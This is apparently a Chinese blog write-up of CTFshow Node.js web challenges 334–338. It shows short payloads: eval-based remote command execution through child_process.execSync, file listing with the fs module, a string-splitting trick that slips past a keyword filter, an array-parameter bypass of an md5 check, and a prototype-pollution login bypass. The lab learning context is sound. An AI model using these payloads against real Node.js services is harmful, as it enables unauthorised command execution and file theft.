【CTFSHOW】 web入门nodejs
前言:
题目:
web334:
下载附件解压能看到后台登录逻辑和账号密码,要求username的输入不能是大写的CTFSHOW,输入小写即可(touppercase函数会将输入转为大写)
web335:
在浏览器f12发现提示:
eval变量可能存在rce
payload:
1 | ?eval=require("child_process").execSync('cat fl00g.txt') |
web336:
上题payload已经无法使用
可以改用fs模块读取文件。
payload:
1 | ?eval=require("fs").readdirSync(".") 读取当前目录下文件列表 |
另解:
1 | /?eval=require("child_process")['exe'%2B'cSync']('ls') |
web337:
hint提示传入的ab两个参数需要满足以下条件:
1 | a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag) |
数组绕过,payload:
1 | ?a[x]=1&b[x]=2 |
web338:
首先简单介绍一下js原型链污染:
举个例子
1 | //Foo是一个构造函数(类),它拥有一个值为1的属性bar |
以上,如果我们修改了foo.__proto__
的内容,就有可能修改Foo类的内容(参考:https://blog.csdn.net/qq_41107295/article/details/95789944)
回到题目
源码中使用copy方法将请求赋给user,而secret对象继承了Object.prototype,所以可以通过修改登录的post请求修改prototype,以使得判断条件成立。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 西风の小屋!
评论